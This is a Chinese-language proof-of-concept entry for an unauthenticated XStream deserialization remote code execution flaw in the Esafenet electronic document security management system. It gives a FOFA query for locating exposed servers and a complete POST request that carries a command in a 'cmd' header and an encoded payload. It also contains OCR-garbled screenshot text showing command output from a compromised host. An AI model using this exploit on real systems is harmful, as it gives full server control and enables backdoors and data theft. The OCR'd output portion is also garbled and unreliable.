Y5-37亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述:

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

网站图片:



网络测绘:

fofa语法:

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现:

payload:

POST /CDGServer3/UploadFileListServiceForClient?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC

效果图: 〈 〉 数据包扫描 热加载 构造请求 🐰 Request Responses https 118bytes / 101ms 美化 渲染 请输入定位响应 ${\color{red}\textbf{POST}} \cdot / \texttt{CDGServer3} / \texttt{UploadFileListServiceForClient?} \\ \textbf{command-GETSYSTEMINFO} \cdot \textbf{HTTP/1.1} \\$ 1 HTTP/1.1-200 Set-Cookie: JSESSIONID=6F05CBA4625BA8111C2E8E65108EC077; Path=/CDGServe Tetrookie: JSSSIONID-0-090LBA4025BA61 HttpOnly Content-Type: text/html; charset=utf-8 Date: Sun, 04 -feb: 2024 - 11:31:20 - GMT Connection: close Content-Length: 118 User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0. 2225.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: text/xml cmd: uname - a Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16 x86 64 x86 64 x86 64 GNU/Linux NNLTNELBITKEOGFIELHWHIFDNNOHFHECLEHKBCIHIFHCMONPOPHOHMONIZOCNLPBOKNAEEBHFCITMOPDAACABKCKIZEMBFOIBOPHN EIPJAOBBILDKHLDGAENLPAFBKFFFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPHLONIODEGNCPIGDFMGHDOPWHEDINFKDCHBF WFGBDOIOAHLOHNAMDBJABECIJOEHKAPJGBIDJHKAMAGEELEHJEEIDBDIILAHAKCIIGHDIDDWOPHCNGLPPOMMIGCFFEBIMDHFA GLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDINIABOOKBFABJMFIEMLLPGGKNNNHFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKIDJPDE PBEKKPHOPBHHLJNOGLABIJHIBOFFCPCLPAGICEAONCAGIJFAEFCKLOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECHFKPPPKEGOID HIBIBAGBIKAMOFLEKKKOMPHGJOCEPEBRIHPFKEKKMCENNPHEOFNIOPHHFPDNFFJJEEJPTMGFKHOACKKEEJACLCOKIPFHHECFDF JNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALD IIMBFGOHNHBOIONLCJKCPHJPHDLPHDDCFJNNKKOMEINHIDLEGHOCNAFDAHOMPFIFFBFFCHAPPIDAIAILKONLCALBBJNPCGLPKIED LEWMEBUR HERBENGKOKYCHETBEGAAKECTICKEE ETBPLOEBUNNDJHAEDLBNONDJHPFELIJMNLMHEMBFFGOHELCDBFHIFALD LEWMEBUR HERBENGKOKYCHETBEGAAKECTICKEE ETBPLOEBUNNDJHAEDLBNONDJHOFELIJMNLMHEMBFFGOHELCDBFHITAUDTEE LEONKEMBLMLBEGKNGCOKOFTPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLGIMMKKMBJDGDIDJMMGEOEGJNJDMNEKFDMEAHMILDIXTFB GKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGJFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHD GBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPMPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJ IDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIJLBFECJNLKHMBCKELDF BOMBFEHAKSHEMNOFBBEDCAMMHNNGWIDGLIJHJDAGPILNGBEDCDJBCJOANOBIFLOFCFIJKDELPPFLFBOHNITBEGOOFFFGARNOKBNPC BDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJN DMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAH KBCEDHFGLDIKITIMEPHMIMCIGJJDCKTEODLKCKOLAKBFHIBHOPNAMPETKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEATPA